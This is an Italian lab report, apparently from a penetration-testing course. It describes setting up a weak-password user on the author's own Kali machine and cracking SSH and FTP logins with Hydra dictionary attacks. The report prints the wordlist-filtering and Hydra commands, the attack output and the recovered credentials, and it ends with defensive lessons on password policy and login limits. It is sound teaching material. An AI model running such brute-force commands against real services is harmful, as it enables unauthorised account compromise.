

Authentication cracking con Hydra

Data: 16 Gennaio 2026

Autore: Francesco Sardi

Oggetto: Authentication cracking con Hydra su protocolli SSH e FTP

1. Obiettivi

Il presente report si pone due obiettivi principali:

1. **Fase 1:** Configurazione di un ambiente target, abilitazione del servizio SSH ed esecuzione di una sessione di cracking dell'autenticazione.
2. **Fase 2:** Configurazione ed esecuzione di un attacco di *password cracking* su un secondo servizio di rete (FTP).

2. Panoramica

In questo report vengono documentate le procedure per la creazione di un utente target su sistema Kali Linux (con privilegi limitati) e l'attivazione del demone SSH. Successivamente, viene dimostrata la vulnerabilità di credenziali deboli attraverso l'utilizzo del tool **Hydra**, effettuando un attacco a dizionario (*dictionary attack*).

Nella seconda fase, la medesima metodologia viene applicata al protocollo FTP, verificando la versatilità del tool su diversi servizi di rete.

3. Fase 1: Setup dell'Ambiente e Servizio SSH

3.1 Creazione Utente Target

Per simulare un attacco reale, è stato creato un nuovo utente nel sistema Kali Linux. Per fini didattici, sono state impostate credenziali semplici.

- **Comando:** `adduser`
- **User:** `test_user`
- **Password:** `testpass`

Successivamente, è stato avviato il servizio SSH per rendere la macchina accessibile e attaccabile via rete.

```

└$ sudo adduser test_user
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y

```

3.2 Verifica della Configurazione

È stata effettuata un'analisi preliminare del file di configurazione del demone SSH situato in `/etc/ssh/sshd_config`.

```

GNU nano 8.7
/etc/ssh/sshd_config

# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/usr/games

# The strategy used for options in the default sshd config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#LogLevel AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to "no" here!
#PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to "yes" to enable keyboard-interactive authentication. Depending on
# the system's configuration, this may involve passwords, challenge-response,
# one-time passwords or some combination of these and other methods.
# Beware issues with some PAM modules and threads.
#KbdInteractiveAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes

```

[File '/etc/ssh/sshd_config' is unwritable]

3.3 Test di Connettività

Prima di procedere con l'attacco, è stata verificata la corretta funzionalità del servizio tentando una connessione legittima verso l'indirizzo **IP target** 192.168.50.152.

Testo la connessione SSH dell'utente appena creato su sistema col comando “`ssh testuser@192.168.50.152`” verificando che tutto sia stato fatto correttamente.

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.50.152
test_user@192.168.50.152's password:
Linux kali 6.16.8+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.16.8-1kali1 (2025-09-24) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

Confermato il funzionamento del servizio e la creazione dell'utente, si procede alla fase offensiva ignorando le credenziali note per simulare un approccio “*black-box*”.

4. Fase Operativa: Cracking delle Password

4.1 Preparazione delle Wordlist (Seclists)

Per l'attacco a dizionario è stato utilizzato il repository **Seclists**, che contiene milioni di credenziali comuni. Per ottimizzare i tempi di esecuzione a fini didattici, le wordlist sono state filtrate riducendo il numero di dati, mantenendo solo quelle contenenti la stringa "test".

Creazione wordlist Utenti:

- File user ridotto (`xato-username.txt`) con il comando : “`cat /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | grep test > xato-username.txt`”

Creazione wordlist Password:

- File password ridotto (`xato-password.txt`) con il comando “`cat /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt | grep test > xato-passwords.txt`”.

Questa operazione genera due file ridotti (`xato-username.txt` e `xato-passwords.txt`), permettendo a Hydra di completare l'attacco in tempi brevi.

4.2 Esecuzione dell'Attacco SSH

L'attacco è stato lanciato utilizzando **Hydra** con i seguenti parametri:

- **-L**: Specifica il file contenente la lista degli username.
- **-P**: Specifica il file contenente la lista delle password.
- **-t2**: Limita il numero di task paralleli a 2 (per non sovraccaricare il servizio).
- **-V**: Modalità “*Verbose*”, per visualizzare il progresso in tempo reale.

Comando di attacco:

```
"hydra -L xato-username.txt -P xato-passwords.txt 192.168.50.152 -t2 -V ssh "
```

```
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "test99" - 30 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testuser" - 31 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testing2" - 32 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "whitestaa" - 33 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testin" - 34 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testerer" - 35 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testdrive" - 36 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "test3" - 37 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "tester1" - 38 of 10367586 [child 0] (0/0)
[STATUS] 38.00 tries/min, 38 tries in 00:01h, 10367548 to do in 4547:11h, 2 active
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testament" - 39 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "123test" - 40 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "fastest" - 41 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "bftest" - 42 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "test22" - 43 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testo12" - 44 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "test12345" - 45 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "whitestar" - 46 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testestest1" - 47 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testings" - 48 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testify" - 49 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "tester2" - 50 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "sweetest" - 51 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "mytest" - 52 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "attest" - 53 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testing3" - 54 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testaros" - 55 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "test69" - 56 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "test5" - 57 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "test12te" - 58 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "revtest" - 59 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "passtest" - 60 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "dmrtest" - 61 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "cctest" - 62 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testt" - 63 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testjoin" - 64 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testicles" - 65 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testerrr" - 66 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testen" - 67 of 10367586 [child 0] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "teste123" - 68 of 10367586 [child 1] (0/0)
[ATTEMPT] target 192.168.50.152 - login "testing" - pass "testamen" - 69 of 10367586 [child 1] (0/0)
```

Risultato:

Hydra ha identificato con successo la combinazione corretta di username e password.

```
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 13:34:29
[DATA] max 2 tasks per 1 scanner, overall 42 tasks, 42 login tries (l:7/p:6), -21 tries per task
[DATA] attacking ssh://192.168.50.152:22/
[22][ssh] host: 192.168.50.152 login: test_user password: testpass
[STATUS] 42.00 tries/min, 42 tries in 00:01h, 1 to do in 00:01h, 1 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 13:35:30
```

5. Fase 2: Cracking del Servizio FTP

Per la seconda parte del progetto, è stato scelto il protocollo **FTP**. Dopo aver assicurato che il servizio fosse attivo sulla macchina target, è stata applicata la medesima metodologia di attacco, adattando la sintassi del comando al nuovo protocollo.

Comando di attacco:

```
"hydra -L xato-username.txt -P xato-passwords.txt ftp://192.168.50.152 -t 2 "
```

Risultato:

Anche in questo caso, il tool è riuscito a effettuare il *brute-force* delle credenziali, dimostrando l'efficacia dell'attacco su protocolli differenti che non implementano meccanismi di blocco contro tentativi di accesso multipli falliti.

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 12:43:08
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 2 tasks per 1 server, overall 2 tasks, 240 login tries (1:12/p:20), ~120 tries per task
[DATA] attacking ftp://192.168.50.152:21/
[STATUS] 35.00 tries/min, 35 tries in 00:01h, 205 to do in 00:06h, 2 active
[STATUS] 36.00 tries/min, 108 tries in 00:03h, 132 to do in 00:04h, 2 active
[STATUS] 35.75 tries/min, 143 tries in 00:04h, 97 to do in 00:03h, 2 active
[STATUS] 36.00 tries/min, 180 tries in 00:05h, 60 to do in 00:02h, 2 active
[STATUS] 38.00 tries/min, 228 tries in 00:06h, 12 to do in 00:01h, 2 active
[21][ftp] host: 192.168.50.152 login: test_user password: testpass
[STATUS] 38.00 tries/min, 228 tries in 00:06h, 12 to do in 00:01h, 2 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 12:49:40
```

6. Conclusione

L'attività svolta ha permesso di analizzare in profondità il funzionamento degli attacchi di autenticazione online tramite l'utilizzo di **Hydra**.

Dai test effettuati emergono due considerazioni fondamentali in ambito Cybersecurity:

1. **L'efficacia degli attacchi a dizionario:** L'utilizzo di wordlist ottimizzate (come le Seclists) rende banale la compromissione di account che utilizzano credenziali comuni o prevedibili, indipendentemente dal protocollo utilizzato (SSH o FTP).
2. **L'importanza di policy di sicurezza robuste:** Il successo dell'attacco evidenzia la necessità critica di implementare password complesse e, soprattutto, meccanismi di difesa attiva o limitazioni sui tentativi di login. Senza queste contromisure, qualsiasi servizio esposto in rete è vulnerabile ad attacchi automatizzati in tempi molto rapidi.

In conclusione, Hydra si conferma uno strumento potente e versatile per il *penetration testing*, essenziale per verificare la robustezza delle configurazioni di accesso ai servizi di rete.